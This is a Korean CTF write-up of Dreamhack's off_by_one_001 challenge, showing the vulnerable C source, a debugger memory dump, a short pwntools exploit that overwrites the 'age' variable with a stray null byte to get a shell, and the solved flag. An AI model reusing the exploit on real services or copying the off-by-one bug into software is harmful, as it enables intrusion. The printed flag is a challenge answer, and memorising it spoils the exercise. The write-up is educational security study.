Wargame & CTF/Dreamhack

off_by_one_001

g.s.song 2025. 1. 22. 14:40

1. Prob


이 문제는 서버에서 작동하고 있는 서비스(off_by_one_001)의 바이너리와 소스 코드가 주어집니다.
프로그램의 취약점을 찾고 익스플로잇해 get_shell 함수를 실행시키세요.
셸을 획득한 후, "flag" 파일을 읽어 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{...} 입니다.

Environment

Ubuntu 16.04
Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)

 

2. Analysis


소스코드와 컴파일 된 바이너리 (실행파일) 이 함께 주어진다. 소스코드가 주어지므로 디컴파일러를 사용하여 분석할 필요 없이 소스코드를 통해 취약점을 찾고, 해당 취약점이 실제로 발생하는지 동적 분석을 통해 확인해보자.

먼저 주어진 소스코드는 아래와 같다.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler()
{
    puts("TIME OUT");
    exit(-1);
}

void initialize()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void read_str(char *ptr, int size)
{
    int len;
    len = read(0, ptr, size);
    printf("%d", len);
    ptr[len] = '\0';
}

void get_shell()
{
    system("/bin/sh");
}

int main()
{
    char name[20];
    int age = 1;

    initialize();

    printf("Name: ");
    read_str(name, 20);

    printf("Are you baby?");

    if (age == 0)
    {
        get_shell();
    }
    else
    {
        printf("Ok, chance: \n");
        read(0, name, 20);
    }

    return 0;
}

 

int 형 변수 age 에는 1 이라는 정수가 저장되어 있다. read_str( ) 함수를 통해 입력을 받고, 만약 해당 값이 0으로 변조되어 있다면 get_shell( ) 함수를 실행시켜 쉘을 준다. 만약 조건을 충족시키지 않으면 한번 더 찬스를 준다고는 하나, 별로 의미는 없어 보인다. 여기서 주목해야 하는 코드는 read_str( ) 함수 부분이다.

 

void read_str(char *ptr, int size)
{
    int len;
    len = read(0, ptr, size);
    printf("%d", len);
    ptr[len] = '\0';
}

 

read_str( ) 함수에서 int size 만큼 입력을 받고, ptr[len] = '\0'; 코드를 통해 입력 받은 문자열의 가장 마지막에 '\0' 를 추가한다. 여기서 주의할 점은 배열의 첫 번째 index는 0부터 시작하며, 인덱스의 마지막은 항상 size - 1 의 값을 가져야 한다. 그러나 저 코드에서 배열 크키만큼의 인덱스를 참조하여 데이터를 읽을 경우, NULL 문자를 기록하는 위치가 바열 범위를 초과하게 된다. 

 

동적 디버깅을 시도했을 때, name 배열 바로 뒤에 age 변수의 값이 저장되어 있는 것을 확인할 수 있다.

pwndbg> x/100x $esp
0xffffd378:     0xffffd380      0x00000014      0x41414141      0x41414141
0xffffd388:     0x41414141      0x0a414141      0x00000000      0x00000001 <--
0xffffd398:     0x00000000      0xf7d92cb9      0x00000001      0xffffd454
0xffffd3a8:     0xffffd45c      0xffffd3c0      0xf7f9ee34      0x08048654

 

off by one 취약점이 발생하기 때문에 20byte를 덮어주면 실제 배열의 길이보다 1byte 만큼의 공간에 '\0'을 저장하게 되고 이를 사용하여 공격 코드를 구성할 수 있다.

from pwn import*

p = remote("host1.dreamhack.games", 20155)

p.recvuntil(": ")

payload = b'A'*20

p.sendline(payload)

p.interactive()
gssong@cybersecurity:~/Desktop$ python ob1_ex.py
[+] Opening connection to host1.dreamhack.games on port 20155: Done
/home/gssong/Desktop/ob1_ex.py:5: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.recvuntil(": ")
[*] Switching to interactive mode
20Are you baby?$ ls
flag
off_by_one_001
$ cat flag
DH{343bab3ef81db6f26ee5f1362942cd79}$